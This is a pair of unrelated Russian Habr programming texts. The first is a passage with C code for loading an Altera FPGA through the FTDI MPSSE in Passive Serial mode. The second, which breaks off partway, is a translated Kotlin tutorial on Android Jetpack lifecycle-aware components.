Рассмотрим настройку скорости передачи данных процессора MPSSE. Настройка для чипов с поддержкой только режима Full-speed (FT2232**D**) и чипов с High-speed (FT2232**H**, FT232H, FT4232H) происходит несколько по разному. В устаревшем FT2232D используется тактовый генератор 12МГц, а в современных — 60 МГц. Отсюда формула для расчета скорости передачи данных:
где *fcore* — частота ядра FTDI, *Divisor* — двухбайтовый делитель, который, собственно, и задает частоту тактирования данных.
В результате, если делитель равен нулю, то максимальная скорость передачи данных составит 30 Мбит/с, а минимальная скорость передачи данных будет при делителе 65535 — 458 бит/с.
Расчет делителя поручим препроцессору. Макрос возвращает делитель:
```
#define FCORE 60000000ul
#define MPSSE_DATA_SPEED_DIV(data_speed) ((FCORE/(2*data_speed)) -1)
```
А эти два макроса возвращают соответственно старший и младший байты делителя:
```
#define MPSSE_DATA_SPEED_DIV_H(data_speed) ((MPSSE_DATA_SPEED_DIV(data_speed)) >> 8)
#define MPSSE_DATA_SPEED_DIV_L(data_speed) \
(MPSSE_DATA_SPEED_DIV(data_speed) - (MPSSE_DATA_SPEED_DIV_H(data_speed)<< 8))
```
Кроме того, следует учесть, что в современных чипах для совместимости со старичком FT2232D есть дополнительный делитель на 5, который превращает 60 МГц в 12 МГц. Этот делитель по умолчанию активирован, в нашем случае его стоит отключить.
Находим соответствующий op-code (0x8A) и шлем команду процессору:
**Листинг отправки команды**
```
BYTE byOutputBuffer[8], byInputBuffer[8];
DWORD dwNumBytesToRead, dwNumBytesSent = 0, dwNumBytesRead = 0;
byOutputBuffer[0] = 0x8A;
ftStatus = FT_Write(ftHandle, byOutputBuffer, 1, &dwNumBytesSent);
Sleep(2); // Wait for data to be transmitted and status
ftStatus = FT_GetQueueStatus(ftHandle, &dwNumBytesToRead);
ftStatus |= FT_Read(ftHandle, byInputBuffer, dwNumBytesToRead, &dwNumBytesRead);
if (ftStatus != FT_OK)
{
printf("Error\r\n");
return FT_OTHER_ERROR;
}
else if (dwNumBytesToRead > 0)
{
printf("dwNumBytesToRead = %d:", dwNumBytesToRead);
for ( int i = 0; i < dwNumBytesToRead; i++)
printf (" %02Xh", byInputBuffer[i]);
printf("\r\n");
return FT_INVALID_PARAMETER;
}
return FT_OK;
```
В порядке эксперимента, вместо действительной команды 0x8A, пошлем значение 0xFE, которому не соответствует ни один op-code, вывод консоли:
```
dwNumBytesToRead = 2: FAh FEh
```
Процессор вернул два байта, байт "плохая команда" — 0xFA и значение этой "плохой" команды. Таким образом, отправив несколько команд сразу, мы сможем не только отследить сам факт ошибки, но и понять на какой команде эта ошибка произошла.
Для того, чтобы в дальнейшем не иметь дело с "магическими числами", все op-code оформим в виде констант и поместим в отдельный заголовочный файл.
Для полной настройки режима требуется задать направление линий ввода-вывода и их значение по умолчанию. Обратимся к принципиальной схеме подключения. Для того, чтобы не загромождать и без того раздутую статью, я перечертил интересующий фрагмент схемы:
Линии *DCLK*, *DATA[0]*, *nCONFIG* должны быть сконфигурированы как выхода, линии *nSTATUS*, *CONF\_DONE* — как входы. По диаграмме определяем какие начальные состояния должны быть у линий. Для наглядности распиновку схемы сведем в таблицу:
| FPGA pin | Pin Name | Pin | MPSSE | Direction | default |
| --- | --- | --- | --- | --- | --- |
| DCLK | BDBUS0 | 38 | TCK/SK | Out | 0 |
| DATA[0] | BDBUS1 | 39 | TDI/DO | Out | 1 |
| nCONFIG | BDBUS2 | 40 | TDO/DI | Out | 1 |
| nSTATUS | BDBUS3 | 41 | TMS/CS | In | 1 |
| CONF\_DONE | BDBUS4 | 43 | GPIOL0 | In | 1 |
Все используемые линии расположены на младшем байте порта MPSSE. Для установки значения используем op-code 0x80. Это команда предполагает два аргумента: первый следующий за op-code байт — это побитовое значение, а второй — направление (единичка — порт на вывод, ноль — порт на ввод).
В рамках борьбы с "magic number" все порядковые номера линий и их значения по умолчанию оформим в виде констант:
**Define ports**
```
#define PORT_DIRECTION (0x07)
#define DCLK (0)
#define DATA0 (1)
#define N_CONFIG (2)
#define N_STATUS (3)
#define CONF_DONE (4)
// initial states of the MPSSE interface
#define DCLK_DEF (1)
#define DATA0_DEF (0)
#define N_CONFIG_DEF (1)
#define N_STATUS_DEF (1)
#define CONF_DONE_DEF (1)
```
Осталось только убедиться, что отключена петля TDI — TDO (может быть активирована для тестирования) и оформить в отдельную функцию:
**Листинг функции MPSSE\_setup**
```
static FT_STATUS
MPSSE_setup ()
{
DWORD dwNumBytesToSend, dwNumBytesSent, dwNumBytesToRead, dwNumBytesRead;
BYTE byOutputBuffer[8], byInputBuffer[8];
FT_STATUS ftStatus;
// Multple commands can be sent to the MPSSE with one FT_Write
dwNumBytesToSend = 0; // Start with a fresh index
byOutputBuffer[dwNumBytesToSend++] = MPSSE_CMD_DISABLE_DIVIDER_5;
byOutputBuffer[dwNumBytesToSend++] = MPSSE_CMD_DISABLE_ADAPTIVE_CLK;
byOutputBuffer[dwNumBytesToSend++] = MPSSE_CMD_DISABLE_3PHASE_CLOCKING;
ftStatus = FT_Write(ftHandle, byOutputBuffer, dwNumBytesToSend, &dwNumBytesSent);
dwNumBytesToSend = 0; // Reset output buffer pointer
// Set TCK frequency
// Command to set clock divisor:
byOutputBuffer[dwNumBytesToSend++] = MPSSE_CMD_SET_TCK_DIVISION;
// Set ValueL of clock divisor:
byOutputBuffer[dwNumBytesToSend++] = MPSSE_DATA_SPEED_DIV_L(DATA_SPEED);
// Set 0xValueH of clock divisor:
byOutputBuffer[dwNumBytesToSend++] = MPSSE_DATA_SPEED_DIV_H(DATA_SPEED);
ftStatus |= FT_Write(ftHandle, byOutputBuffer, dwNumBytesToSend, &dwNumBytesSent);
dwNumBytesToSend = 0; // Reset output buffer pointer
// Set initial states of the MPSSE interface
// - low byte, both pin directions and output values
/*
| FPGA pin | Pin Name | Pin | MPSSE | Dir | def |
| --------- | -------- | --- | ------ | --- | --- |
| DCLK | BDBUS0 | 38 | TCK/SK | Out | 0 |
| DATA[0] | BDBUS1 | 39 | TDI/DO | Out | 1 |
| nCONFIG | BDBUS2 | 40 | TDO/DI | Out | 1 |
| nSTATUS | BDBUS3 | 41 | TMS/CS | In | 1 |
| CONF_DONE | BDBUS4 | 43 | GPIOL0 | In | 1 |
*/
// Configure data bits low-byte of MPSSE port:
byOutputBuffer[dwNumBytesToSend++] = MPSSE_CMD_SET_DATA_BITS_LOWBYTE;
// Initial state config above:
byOutputBuffer[dwNumBytesToSend++] = (DCLK_DEF << DCLK) | (DATA0_DEF << DATA0)
| (N_CONFIG_DEF << N_CONFIG) | (N_STATUS_DEF << N_STATUS)
| (CONF_DONE_DEF << CONF_DONE);
// Direction config above:
byOutputBuffer[dwNumBytesToSend++] = PORT_DIRECTION;
ftStatus |= FT_Write(ftHandle, byOutputBuffer, dwNumBytesToSend, &dwNumBytesSent);
// Send off the low GPIO config commands
dwNumBytesToSend = 0; // Reset output buffer pointer
// Set initial states of the MPSSE interface
// - high byte, all input, Initial State -- 0.
// Send off the high GPIO config commands:
byOutputBuffer[dwNumBytesToSend++] = MPSSE_CMD_SET_DATA_BITS_HIGHBYTE;
byOutputBuffer[dwNumBytesToSend++] = 0x00;
byOutputBuffer[dwNumBytesToSend++] = 0x00;
ftStatus |= FT_Write(ftHandle, byOutputBuffer, dwNumBytesToSend, &dwNumBytesSent);
// Disable loopback:
byOutputBuffer[dwNumBytesToSend++] = MPSSE_CMD_DISABLE_LOOP_TDI_TDO;
ftStatus |= FT_Write(ftHandle, byOutputBuffer, dwNumBytesToSend, &dwNumBytesSent);
Sleep(2); // Wait for data to be transmitted and status
ftStatus = FT_GetQueueStatus(ftHandle, &dwNumBytesToRead);
ftStatus |= FT_Read(ftHandle, byInputBuffer, dwNumBytesToRead, &dwNumBytesRead);
if (ftStatus != FT_OK)
{
printf("Unknown error in initializing the MPSSE\r\n");
return FT_OTHER_ERROR;
}
else if (dwNumBytesToRead > 0)
{
printf("Error in initializing the MPSSE, bad code:\r\n");
for ( int i = 0; i < dwNumBytesToRead; i++)
printf (" %02Xh", byInputBuffer[i]);
printf("\r\n");
return FT_INVALID_PARAMETER;
}
return FT_OK;
}
```
### Пункт 4. Реализуем протокол загрузки
Кажется все готово для практических экспериментов. Во-первых, проверим, что инициализация выполняется корректно, в основном теле программы вызовем `MPSSE_open()` и `MPSSE_setup()`, а перед закрытием устройства (`FT_Close`) поместим пустой `getchar()`. Запустим программу и с помощью осциллографа убедимся, что на всех линиях PS установились заданные по умолчанию уровни. Поменяв значение этих уровней в инициализации (ничего страшного с ПЛИС не случится), убеждаемся, что процессор MPSSE желаемое выдает за действительное — все адекватно работает и можно переходить к передаче данных.
Последовательная отправка и прием данных выполняется в командном режиме с помощью все тех же op-code. Первый байт команды — op-code, который определяет тип операции, за ним следует длина передаваемой или принимаемой последовательности и, если это передача, собственно данные. Процессор MPSSE может передавать и принимать данные, также делать это одновременно. Передача может осуществляться либо младшим значащим битом вперед (LSB), либо старшим (MSB). Передача данных может происходить либо по переднему, либо по заднему фронту тактовых импульсов. Для каждой комбинации вариантов есть свой op-code, каждый бит op-code описывает режим работы:
| Бит | Функция |
| --- | --- |
| 0 | Синхронизация по фронту на запись: 0 — положительный, 1 — отрицательный |
| 1 | 1 — работа с байтами, 0 — работа с битами |
| 2 | Синхронизация по фронту на чтение: 0 — положительный, 1 — отрицательный |
| 3 | Режим передачи: 1 — LSB, 0 — MSB first |
| 4 | Передача данных по линии TDI |
| 5 | Чтение данных с линии TDO |
| 6 | Передача данных по линии TMS |
| 7 | Должен быть 0, иначе это другая группа команд |
При конфигурировании ПЛИС по схеме PS передача данных происходит по переднему фронту в режиме LSB. Для нас удобнее оперировать байтами, а не битами, в этом случае op-code примет значение 0001\_1000b или 0x18 в шестнадцатеричном представлении. Аргументами команды будет длина передаваемой последовательности (два байта, начиная с младшего), и сама последовательность данных. Следует учесть небольшую особенность: длина кодируется за вычетом единицы. То есть, если мы хотим отправить один байт, то длина будет равна 0, если хотим отправить 65536, то нужно указать длину 65535. Думаю, оно понятно зачем так сделано. Отправку блока данных оформим в виде функции `MPSSE_send`.
**Листинг функции MPSSE\_send**
```
static BYTE byBuffer[65536 + 3];
static FT_STATUS
MPSSE_send(BYTE * buff, DWORD dwBytesToWrite)
{
DWORD dwNumBytesToSend = 0, dwNumBytesSent, bytes;
FT_STATUS ftStatus;
// Output on rising clock, no input
// MSB first, clock a number of bytes out
byBuffer[dwNumBytesToSend++] = MPSSE_CMD_LSB_DATA_OUT_BYTES_POS_EDGE; // 0x18
bytes = dwBytesToWrite -1;
byBuffer[dwNumBytesToSend++] = (bytes) & 0xFF; // Length L
byBuffer[dwNumBytesToSend++] = (bytes >> 8) & 0xFF; // Length H
memcpy(&byBuffer[dwNumBytesToSend], buff, dwBytesToWrite);
dwNumBytesToSend += dwBytesToWrite;
ftStatus = FT_Write(ftHandle, byBuffer, dwNumBytesToSend, &dwNumBytesSent);
if (ftStatus != FT_OK )
{
printf ("ERROR send data\r\n");
return ftStatus;
} else if (dwNumBytesSent != dwNumBytesToSend)
{
printf ("ERROR send data, %d %d\r\n", dwNumBytesSent, dwNumBytesToSend);
}
return FT_OK;
}
```
В этой функции есть один скользкий момент — необходимость держать внутренний буфер на 65 кбайт, а все из-за того, что во входящий блок данных нужно встроить op-code и длину последовательности. Можно выкинуть `byBuffer`, если при вызове функции действительные данные помещать начиная с четвертого элемента массива `buff`, таким образом, зарезервировав первые три байта под op-code с длиной. Для ограниченной памяти микроконтроллера, я так бы и сделал, но в программе для ПК позволим себе такую роскошь.
Как уже отмечалось выше, при отладке с помощью осциллографа целесообразно установить "комфортную" скорость обмена, у моего осциллографа полоса пропускания всего 25 МГц, поэтому, для экспериментов, я выставлю частоту в 1 МГц (благодаря макросам, для этого достаточно задать `#define DATA_SPEED 1000000ul`). Отправляем тестовую последовательность:
```
BYTE byOutputBuffer[] = {0x02, 0x1B, 0xEE, 0x01, 0xFA};
MPSSE_send(byOutputBuffer, sizeof(byOutputBuffer));
```
И смотрим результат (картинка кликабельная):
[](https://habrastorage.org/webt/bp/gp/es/bpgpesvsoradzqfecft07bdjk-u.png)
Синий канал — сигнал с линии *DATA[0]*, красный канал — *DCLK*. Для наглядности активирована функция последовательного декодирования и бинарный код показан непосредственно под сигналом. Как видно, что отправили, то и получили.
На данном этапе мы можем утверждать, что у нас реализован SPI интерфейс (ну почти). Для того, чтобы превратить его в PS, нужно настроить работу с флагами. Три флага *nCONFIG*, *nSTATUS*, *CONF\_DONE*. Первый флаг — это вывод, мы им должны управлять из приложения, два других — входа, мы их должны уметь считывать.
Функция `MPSSE_get_lbyte` считывает младший байт целиком, для того, чтобы получить значение требуемого флага можно использовать битовую маску.
**Листинг функции MPSSE\_get\_lbyte**
```
static FT_STATUS
MPSSE_get_lbyte(BYTE *lbyte)
{
DWORD dwNumBytesToSend, dwNumBytesSent, dwNumBytesToRead, dwNumBytesRead;
BYTE byOutputBuffer[8];
FT_STATUS ftStatus;
dwNumBytesToSend = 0;
byOutputBuffer[dwNumBytesToSend++] = MPSSE_CMD_GET_DATA_BITS_LOWBYTE;
ftStatus = FT_Write(ftHandle, byOutputBuffer, dwNumBytesToSend, &dwNumBytesSent);
Sleep(2); // Wait for data to be transmitted and status
ftStatus = FT_GetQueueStatus(ftHandle, &dwNumBytesToRead);
ftStatus |= FT_Read(ftHandle, lbyte, dwNumBytesToRead, &dwNumBytesRead);
if ((ftStatus != FT_OK) & (dwNumBytesToRead != 1))
{
printf("Error read Lbyte\r\n");
return FT_OTHER_ERROR; // Exit with error
}
return FT_OK;
}
```
К сожалению, среди op-code нет команд, позволяющих модифицировать бит в порту без модификации всего байта. Поэтому, перед тем как установить какое-то значение на одиночную линию вывода, нужно считать весь байт, модифицировать требуемый бит и только потом записать его в порт. Не очень красивое решение, но пусть будет. Оформим код в функцию `MPSSE_set_lbyte`:
**Листинг функции MPSSE\_set\_lbyte**
```
static FT_STATUS
MPSSE_set_lbyte(BYTE lb, BYTE mask)
{
DWORD dwNumBytesToSend, dwNumBytesSent;
BYTE byOutputBuffer[8], lbyte;
FT_STATUS ftStatus;
ftStatus = MPSSE_get_lbyte(&lbyte);
if ( ftStatus != FT_OK)
return ftStatus;
// Set to zero the bits selected by the mask:
lbyte &= ~mask;
// Setting zero is not selected by the mask bits:
lb &= mask;
lbyte |= lb;
dwNumBytesToSend = 0;
// Set data bits low-byte of MPSSE port:
byOutputBuffer[dwNumBytesToSend++] = MPSSE_CMD_SET_DATA_BITS_LOWBYTE;
byOutputBuffer[dwNumBytesToSend++] = lbyte;
byOutputBuffer[dwNumBytesToSend++] = PORT_DIRECTION;
ftStatus = FT_Write(ftHandle, byOutputBuffer, dwNumBytesToSend, &dwNumBytesSent);
if ((ftStatus != FT_OK) & (dwNumBytesSent != 1))
{
printf("Error set Lbyte\r\n");
return FT_OTHER_ERROR;
}
return FT_OK;
}
```
Все кирпичики собраны, обожжены и готовы к кладке. Алгоритм программы следующий: открываем FTDI; активируем и настраиваем MPSSE; открываем rbf-файл на чтение, подаем на линию *nCONFIG* логический ноль, дожидаемся логического нуля на линии *N\_STATUS*; последовательно считываем содержимое rbf-файла и передаем в ПЛИС; после того, как файл передан полностью, дожидаемся логической единицы на линии *CONF\_DONE*. Во всех примерах и мануалах, после работы с процессором MPSSE перед закрытием FTDI рекомендуется перевести ее в режим по умолчанию. Однако при этом, флаг *nCONFIG* окажется в нуле и ПЛИС "забудет" все то, что мы в нее загрузили, поэтому после отработки алгоритма оставляем все как есть, просто закрываем файл и порт.
**Листинг функции main**
```
int main(int argc, char *argv[])
{
FT_STATUS ftStatus;
BYTE lowByte;
DWORD numDevs; // create the device information list
if ( argv[1] == NULL)
{
printf ("NO file\r\n");
return -1;
}
frbf = fopen(argv[1],"rb");
if (frbf == NULL)
{
printf ("Error open rbf\r\n");
return -1;
}
ftStatus = FT_CreateDeviceInfoList(&numDevs);
if ((numDevs == 0) || (ftStatus != FT_OK))
{
printf("Error. FTDI devices not found in the system\r\n");
return -1;
}
ftStatus = MPSSE_open ("LESO7 B");
if (ftStatus != FT_OK)
{
printf("Error in MPSSE_open %d\n", ftStatus);
EXIT(-1);
}
MPSSE_setup();
if (ftStatus != FT_OK)
{
printf("Error in MPSSE_setup %d\n", ftStatus);
EXIT(-1);
}
printf ("nConfig -> 0\r\n");
MPSSE_set_lbyte(0, 1 << N_CONFIG);
printf ("nConfig -> 1\r\n");
MPSSE_set_lbyte(1 << N_CONFIG, 1 << N_CONFIG);
if (MPSSE_get_lbyte(&lowByte) != FT_OK)
{
EXIT(-1);
}
if (((lowByte >> N_STATUS) & 1) == 0)
{
printf("Error. FPGA is not responding\r\n");
EXIT(-1);
}
int i = 0;
size_t readBytes = 0;
// Send the configuration file:
do
{
readBytes = fread(buff, 1, MPSSE_PCK_SEND_SIZE, frbf);
if (MPSSE_send(buff, readBytes) != FT_OK)
EXIT(-1);
putchar('*');
if (!((++i)%16)) printf("\r\n");
}
while (readBytes == MPSSE_PCK_SEND_SIZE);
printf("\r\n");
memset(buff, 0x00, sizeof(buff));
MPSSE_send(buff, 1); // неужели ни кто не заметит эту странную строку?
printf("Load complete\r\n");
// wait CONF_DONE set
// A low-to-high transition on the CONF_DONE pin indicates that the configuration is
// complete and initialization of the device can begin.
i = 0;
do
{
if (MPSSE_get_lbyte(&lowByte) != FT_OK)
{
printf ("Error read CONF_DONE\r\n");
EXIT(-1);
}
if (i++ > TIMEOUT_CONF_DONE)
{
printf ("Error CONF_DONE\r\n");
EXIT(-1);
}
Sleep(2);
}
while (((lowByte >> CONF_DONE) & 1) == 0);
printf("Configuration complete\r\n");
FT_Close(ftHandle);
fclose(frbf);
}
```
Пример запуска программы:
```
Оpen "LESO7 B" OK
nConfig -> 0
nConfig -> 1
**
Load complete
Configuration complete
```
Утилита успешно загружает rbf-файл в ПЛИС. ПЛИС радостно моргает светодиодами. Выставляем максимальную скорость передачи данных в 30 Мбит/сек и убеждаемся в работоспособности ПО.
К минусам решения можно отнести то, что отсутствует возможность отладки и получившийся загрузчик все-таки не JTAG.
### Материалы по теме
1. [FTDI-MPSSE-Altera PS](https://bitbucket.org/Shamrel/ftdi-mpsse-altera-ps/src/master/). Репозиторий с проектом.
2. [Учебный стенд для ЦОС](http://www.labfor.ru/devices/leso7). Железо для опыта. Там же найдете полную принципиальную схему прибора.
3. [Software Application Development D2XX Programmer's Guide](http://www.ftdichip.com/Support/Documents/ProgramGuides/D2XX_Programmer's_Guide(FT_000071).pdf). То с чего начинается разработка софта для FTDI. Руководство по API D2XX.
4. [FTDI MPSSE Basics. Application Note AN\_135](https://www.ftdichip.com/Support/Documents/AppNotes/AN_135_MPSSE_Basics.pdf). По названию все понятно. Основы FTDI MPSSE. Описание сути режима с примерами кода.
5. [Command Processor for MPSSE and MCU Host Bus Emulation Modes. Application Note AN\_108](https://www.ftdichip.com/Support/Documents/AppNotes/AN_108_Command_Processor_for_MPSSE_and_MCU_Host_Bus_Emulation_Modes.pdf). Справочник по op-code. Без него никак.
6. [D2XX Drivers](https://www.ftdichip.com/Drivers/D2XX.htm). Драйвер FTDI. | https://habr.com/ru/post/426131/ | null | ru | null |
# Android, жизненый цикл Jetpack компонентов
Руководство по работе с жизненным циклом Android компонентов, рассмотрим базовые понятия, что такое LifecycleObserver, события и состояния жизненного цикла, кастомные LifecycleOwner.
Перевод статьи [Lifecycle-Aware Components Using Android Jetpack](https://www.raywenderlich.com/22025947-lifecycle-aware-components-using-android-jetpack).
> используется: Kotlin 1.4, Android 10.0, Android Studio 4.2.
>
>
Android Jetpack - коллекция библиотек для разработчиков, которая улучшает код, уменьшает повторяющийся код и работает единообразно в различных версиях Android. Архитектурные компоненты Android Jetpack дают инструменты для создания компонентов в приложении с учетом жизненного цикла Activity или Fragment.
В этой статье, вы создадите компонент, учитывающий жизненный цикл (lifecycle-aware компонент), в приложении **AwarenessFood**. Компонент будет обрабатывать изменения сетевого подключения. Вы также создадите **lifecycle owner** для обновления состояние сети в Activity.
Само приложение показывает случайный рецепт пользователю и имеет две опции: получить новый случайный рецепт, показать детали связанные с едой. При отключении сети, на главном экране приложения появляется SnackBar с сообщением и кнопкой повтора.
В статье вы изучите:
* Жизненные циклы в Android компонентах
* Компоненты учитывающие жизненный цикл (Lifecycle-aware components)
* Наблюдателей жизненного цикла (Lifecycle observers)
* События и состояния
* Владельцев жизненного цикла (Lifecycle owners)
* Как тестировать Lifecycle-aware компоненты
* Компонент LiveData
> Статья предполагает, что вы знакомы с основами разработки под Android. Если это не так, посмотрите [руководство для начинающих в Android](http://www.raywenderlich.com/78574/android-tutorial-for-beginners-part-1).
>
>
### Начало
Загрузите материал с оригинальной статьи (кнопка Download вверху страницы [здесь](https://www.raywenderlich.com/22025947-lifecycle-aware-components-using-android-jetpack#toc-anchor-001)). Откройте Android Studio версии 4.2.1 или выше и импортируйте проект.
Ниже общая информация, что делает каждый пакет в проекте:
* **analytics** классы для трекинга событий в приложении
* **data** классы модели
* **di** поддержка зависимостей
* **monitor** содержит единственный класс, который смотрит за состоянием подключения к сети
* **network** классы для доступа к внешним API
* **repositories** классы для доступа к постоянному хранилищу
* **viewmodels** бизнес логика
* **view** экраны
### Регистрация в spoonacular API
AwarenessFood приложение получает рецепты через **spoonacular API**. Вам нужно зарегистрироваться там, чтобы приложение работало правильно.
Заходим на сайт [spoonacular.com](https://spoonacular.com/food-api/console#Dashboard) и создаем новый аккаунт. После подтверждения аккаунта, входим в личный кабинет и ищем там API ключ. Копируем его, открываем файл **RecipesModule.kt** внутри пакета **di** и заменяем ключ в следующей строке:
```
private const val API_KEY = "YOUR_API_KEY_HERE"
```
Компилируем и запускаем. Должен появиться экран со случайным рецептом, похожий на такой:
Жмем на кнопку **Reload**, чтобы загрузить другой случайный рецепт. Если отключить интернет на устройстве и попробовать получить новый рецепт, то появится SnackBar с ошибкой и кнопкой повторить, как на изображении ниже:
Чтобы перейти на экран деталей, жмем в меню **More** пункт **Food Trivia**. Вы добавите этот функционал позже. Сейчас это просто экран с кнопкой:
На этом настройка проекта закончена. Сейчас вы готовы познакомиться с компонентами, учитывающие жизненный цикл (**lifecycle-aware**).
### Жизненные циклы в Android
Важная базовая вещь для Android разработчика - это понимание, как работает жизненный цикл Activity и Fragment. Жизненный цикл представляет собой серию вызовов в определенном порядке при изменении состояния Activity или Fragment.
Жизненный цикл – необходимая концепция, потому что нужно понимать, что делать в определенных состояниях Activity и Fragment. Например, настройка layout (макета) происходит в `Activity.onCreate()`. Во Fragment за настройку layout отвечает метод `Fragment.onCreateView()`. Другой пример - включение чтения геолокации в методе `onStart()`.
Для освобождения ресурсов, чтение геолокации должно быть отключено в `onStop()`, здесь же освобождаются и другие ресуры и компоненты. Важный момент: не все lifecycle вызовы обязательно выполняются каждый раз. К примеру, операционная система может вызывать, а может и нет метод `onDestory()`.
Жизненный цикл Activity:
Для тех, кто хочет узнать побольше о жизненном цикле Activity, взгляните на статью [Introduction to Android Activities With Kotlin](https://www.raywenderlich.com/222232/introduction-to-android-activities-with-kotlin).
Жизненный цикл Fragment:
Подробная статья о жизненном цикле Frament - [Android Fragments Tutorial: An Introduction With Kotlin](https://www.raywenderlich.com/216981/android-fragments-tutorial-an-introduction-with-kotlin).
### Реагируем на изменения жизненного цикла
В большинстве приложений есть несколько компонентов, которым надо реагировать на события жизненного цикла Activity или Fragment. Вам нужно инициализировать или регистрировать их в методе `onStart()` и освобождать ресурсы в методе `onStop()`.
При таком подходе, ваш код может стать запутанным и подверженным ошибкам. Код внутри методов `onStart()` и `onStop()` будет нарастать бесконечно. При этом, легко забыть отписаться от компонента или вызвать метод компонента в неподходящем событии жизненного цикла, что может привести к багам, утечкам памяти и падениям приложения.
Некоторые из этих проблем есть прямо сейчас в приложении. Откройте файл **NetworkMonitor.kt** в проекте. Этот класс слушает состояние сети и уведомляет Activity об этом.
> Примечание: Подробная информация о мониторинге сетевого соединения находится здесь - [Read Network State](https://developer.android.com/training/basics/network-ops/reading-network-state).
>
>
Экземпляр `NetworkMonitor` должен быть доступен с момента инициализации Activity. Откройте **MainActivity.kt** и метод `onCreate()`, где монитор сети инициализируется вызовом `networkMonitor.init()`.
Затем `NetworkMonitor` регистрирует колбек в методе `onStart()` через вызов `networkMonitor.registerNetworkCallback()`. Наконец, экземпляр Activity отписывается от колбека в методе `onStop`, вызывая `networkMonitor.unregisterNetworkCallback()`.
Инициализация компонента, подписка на события через колбек и отписка от событий добавляет большое количество шаблонного кода в Activity. Кроме того, необходимо использовать только `onStart` и `onStop` для вызова методов `NetworkMonitor`.
В `MainActivity` используется только один компонент, который зависит от жизненного цикла Activity. В более крупных и сложных проектах таких компонентов гораздо больше и это может привести к полному беспорядку.
### Используем компоненты жизненного цикла (Lifecycle-Aware)
**NetworkMonitor** выполняет различные действия, зависящие от состояния жизненного цикла Activity. Другими словами, **NetworkMonitor** должен быть компонентом учитывающим жизненный цикл (**lifecycle-aware компонент**) и реагировать на изменения в жизненном цикле своего родителя – в нашем случае это `MainActivity`.
Android Jetpack предоставляет классы и интерфейсы для создания lifecycle-aware компонентов. Используя их, вы можете улучшить работу `NetworkMonitor`. Он будет работать автоматически с учетом текущего состояния жизненного цикла родительской Activity.
Владелец жизненного цикла (**lifecycle owner**) – это компонент имеющий жизненный цикл, такой как Activity или Fragment. Владелец жизненного цикла должен знать все компоненты, которые будут слушать события жизненного цикла. Паттерн ["Наблюдатель"](https://www.raywenderlich.com/18409174-common-design-patterns-and-app-architectures-for-android#toc-anchor-014) считается лучшим подходом для решения такой задачи.
#### Создание наблюдателя жизненного цикла (lifecycle observer)
Наблюдатель жизненного цикла компонент, который способен слушать и реагировать на состояния жизненного цикла своего родителя. У Jetpack есть специальный интерфейс для этого – `LifecycleObserver`.
Ну что, настало время улучшить наш `NetworkMonitor`. Откройте **NetworkMonitor.kt** и добавьте к классу поддержку интерфейса `LifecycleObserver`:
```
class NetworkMonitor
@Inject constructor(private val context: Context) : LifecycleObserver {
// Code to observe changes in the network connection.
}
```
Вот и все, теперь это lifecycle наблюдатель. Вы только что сделали первый шаг по превращению `NetworkMonitor` в lifecycle-aware компонент.
События и состояния жизненного цикла
------------------------------------
Класс `Lifecycle` знает состояние (state) жизненного цикла родителя и передает его любому прослушивающему `LifecycleObserver`.
`Lifecycle` использует два перечисления для обмена данными о жизненном цикле: **Event** и **State**.
### Events
`Event` представляет события жизненного цикла, которые отправляет операционная система:
* ON\_CREATE
* ON\_START
* ON\_RESUME
* ON\_PAUSE
* ON\_STOP
* ON\_DESTROY
* ON\_ANY
Каждое значение это эквивалент колбека жизненного цикла. `ON_ANY` отличается тем, что отправляется при каждом событии (можно сделать один метод для обработки всех событий).
### Реакция на события жизненного цикла
Сейчас `NetworkMonitor` – это **LifecycleObserver**, но он пока не реагирует на жизненный цикл. Нужно добавить аннотацию `@OnLifecycleEvent` к методу, чтобы он начал реагировать на конкретное событие.
Добавьте `@OnLifecycleEvent` к нужным методам, как указано ниже:
```
@OnLifecycleEvent(Lifecycle.Event.ON_CREATE)
fun init() {
// ...
}
@OnLifecycleEvent(Lifecycle.Event.ON_START)
fun registerNetworkCallback() {
// ...
}
@OnLifecycleEvent(Lifecycle.Event.ON_STOP)
fun unregisterNetworkCallback() {
// ...
}
```
В этом случае, метод `init()` реагирует на `ON_CREATE` событие, `registerNetworkCallback()` на `ON_START` и на событие `ON_STOP` вызывается `unregisterNetworkCallback()`.
Итак, `NetworkMonitor` теперь получает изменения жизненного цикла, сейчас нужно немного подчистить код. Следующий код больше не нужен в **MainActivity.kt**, потому что эти действия `NetworkMonitor` выполняет сам:
```
override fun onCreate(savedInstanceState: Bundle?) {
// ...
// 1.Network Monitor initialization.
networkMonitor.init()
// ...
}
// 2. Register network callback.
override fun onStart() {
super.onStart()
networkMonitor.registerNetworkCallback()
}
// 3. Unregister network callback.
override fun onStop() {
super.onStop()
networkMonitor.unregisterNetworkCallback()
}
```
Полностью удаляйте `onStart()` и `onStop()`. Кроме того надо удалить `networkMonitor.init()` из метода `onCreate()`.
Сделав эти изменения в коде, вы переместили из Activity ответственность за инициализацию, регистрацию и освобождение ресурсов в сам компонент.
Состояния (States)
------------------
`State` хранит текущее состояние владельца жизненного цикла. Возможные значения:
* INITIALIZED
* CREATED
* STARTED
* RESUMED
* DESTROYED
Состояния жизненного цикла сигнализируют, что конкретное событие случилось.
В качестве примера, представим, что мы запускаем длительную инициализацию компонента в событии `ON_START` и Activity (или Fragment) уничтожаются до того, как инициализация закончится. В этом случае компонент не должен выполнять никаких действий по событию `ON_STOP`, так как он не был инициализирован.
Есть прямая связь между событиями и состояниями жизненного цикла. На диаграмме ниже, показана это взаимосвязь:
Эти состояния возникают при:
* INITIALIZED: Когда Activity или Fragment уже созданы, но `onCreate()` еще не вызван. Это первоначальное состояние жизненного цикла.
* CREATED: После `ON_CREATE` и после `ON_STOP`.
* STARTED: После `ON_START` and После `ON_PAUSE`.
* RESUMED: только после `ON_RESUME`.
* DESTROYED: после `ON_DESTROY`, но прямо перед вызовом `onDestroy()`. Как только состояние становится `DESTROYED`, Activity или Fragment больше не будут посылать события.
Используем состояния (State) жизненного цикла
---------------------------------------------
Иногда компоненты должны выполнять код, если их родитель находится, по крайней мере, в определенном состоянии. Нужно быть уверенным, что `NetworkMonitor` выполняет `registerNetworkCallback()` в нужный момент жизненного цикла.
Добавьте `Lifecycle` аргумент в конструктор `NetworkMonitor`:
```
private val lifecycle: Lifecycle
```
С ним у `NetworkMonitor` будет доступ к состоянию жизненного цикла родителя.
После этого добавьте в код `registerNetworkCallback()` условие:
```
fun registerNetworkCallback() {
if (lifecycle.currentState.isAtLeast(Lifecycle.State.STARTED)) {
// ...
}
}
```
